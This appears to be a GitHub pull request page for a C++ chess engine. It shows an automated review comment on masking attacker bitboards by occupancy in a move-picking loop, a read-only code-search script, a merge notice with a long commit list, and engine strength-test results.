-        Bitboard stmAttackers = attackers & board.occ(stm);
+        Bitboard stmAttackers = attackers & occ & board.occ(stm);

This is the same unresolved concern raised previously (the earlier attackers &= occ fix was not applied). Please confirm board.attackers semantics before merging.

#!/bin/bash
set -euo pipefail
# Inspect chesslib's Board::attackers to determine whether it restricts
# results to the passed occupancy bitboard or uses full piece bitboards.
fd -e h -e hpp -e cpp | xargs rg -nP '\battackers\s*\(' -l 2>/dev/null | head
echo '--- definitions ---'
ast-grep run --pattern 'Bitboard attackers($$$) { $$$ }' --lang cpp . 2>/dev/null || true
rg -nP -C15 '\battackers\s*\([^)]*occ' $(fd -e h -e hpp | xargs rg -l 'attackers' 2>/dev/null) 2>/dev/null | head -80

🤖 Prompt for AI Agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@movepick.cpp` around lines 82 - 92, The swap-off loop in movepick.cpp can
reselect a piece that was already removed because attackers is recomputed
without being constrained to the updated occ. In the section that uses
least_valuable_attacker and board.attackers, make sure attackers is always
masked against the current occ after each removal so only still-present pieces
remain eligible. Confirm the semantics of board.attackers first; if it returns
attacks independent of occupancy, apply the occ mask immediately after
recomputing attackers to prevent double-counting or endless looping.

🤖 Prompt for all review comments with AI agents

ℹ️ Review info

it regresses somehow

@winapiadmin
winapiadmin merged commit a522468 into test_chesslib Jul 9, 2026
7 of 8 checks passed
@winapiadmin
winapiadmin deleted the 5-missing-hash-resize branch July 9, 2026 03:52
winapiadmin added a commit that referenced this pull request Jul 9, 2026
* Delete Makefile

* integrated library

* Create games.yml

* Update games.yml

* Update timeman.cpp

* Update games.yml

* Update games.yml

* Update games.yml

* Update games.yml

* Update games.yml

* Update games.yml

* Update eval.cpp

* Update eval.cpp

* Update eval.h

* Update movepick.cpp

* Update movepick.h

* Update movepick.cpp

* Update search.cpp

* Update eval.h

* Update eval.cpp

* Update movepick.h

* Update search.cpp

* Update search.cpp

* Update movepick.cpp

* Update movepick.cpp

* Update movepick.cpp

* Update movepick.cpp

* Update movepick.cpp

* Update games.yml

* Update games.yml

* Update games.yml

* extend time control (6*time)

* Update games.yml

* set pv if really hit TT

* Update games.yml

* Update search.cpp

* Update games.yml

* Update games.yml

* fix regression of null pointer deref

* clear PV

* Update search.cpp

* fix overflow

* implemented quiescence and fix illegal PV (variable shadowing)

* no functional changes

* fix typo

* Update games.yml

* Update games.yml

* Update games.yml

* update source

* Update uci.cpp

* some features and improvements (#3)

fixed some bugs
implemented LMR and NMP, features, etc.

Passed STC:

--------------------------------------------------
Results of new vs base (10+0.1, NULL, 16MB, UHO_Lichess_4852_v1.epd):
Elo: 51.67 +/- 8.40, nElo: 92.31 +/- 14.79
LOS: 100.00 %, DrawRatio: 47.36 %, PairsRatio: 2.82
Games: 2120, Wins: 517, Losses: 204, Draws: 1399, Points: 1216.5 (57.38 %)
Ptnml(0-2): [8, 138, 502, 357, 55], WL/DD Ratio: 0.11
LLR: 2.95 (100.2%) (-2.94, 2.94) [0.00, 2.00]
--------------------------------------------------

Passed LTC:

--------------------------------------------------
Results of new vs base (60+0.6, NULL, 16MB, UHO_Lichess_4852_v1.epd):
Elo: 108.69 +/- 10.86, nElo: 199.39 +/- 18.67
LOS: 100.00 %, DrawRatio: 41.80 %, PairsRatio: 12.34
Games: 1330, Wins: 461, Losses: 58, Draws: 811, Points: 866.5 (65.15 %)
Ptnml(0-2): [1, 28, 278, 283, 75], WL/DD Ratio: 0.11
LLR: 2.95 (100.1%) (-2.94, 2.94) [0.00, 2.00]
--------------------------------------------------

* some QoL changes and specifically, BUGS.

* library side fix nullmoves

* Apply clang-format

* Update eval.cpp

* Update search.cpp

* Fix typo in move type check for score calculation

* Update uci.cpp

* Fix FEN setting in engine loop

* Update uci.cpp

* improvements and bugfix (#6)

Passed STC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28851470047

(mostly) pass LTC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28864852436

Passed STC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876353922/job/85652602141

Passed LTC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876032178

Improvement since beginning of the PR:
--------------------------------------------------
Results of new vs base (10+0.1, NULL, 64MB, UHO_Lichess_4852_v1.epd):
Elo: 111.48 +/- 22.41, nElo: 152.89 +/- 28.67
LOS: 100.00 %, DrawRatio: 30.14 %, PairsRatio: 4.05
Games: 564, Wins: 256, Losses: 81, Draws: 227, Points: 369.5 (65.51 %)
Ptnml(0-2): [4, 35, 85, 98, 60], WL/DD Ratio: 0.81
LLR: 2.95 (100.3%) (-2.94, 2.94) [0.00, 5.00]

---------

Co-authored-by: GitHub Actions <actions@github.com>

* Update games.yml

* Update Makefile

* resolved some issues, no functional changes

* Apply clang-format

* Potential fix for pull request finding 'CodeQL / Workflow does not contain permissions'

Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>

---------

Co-authored-by: GitHub Actions <actions@github.com>
Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Missing hash resize

2 participants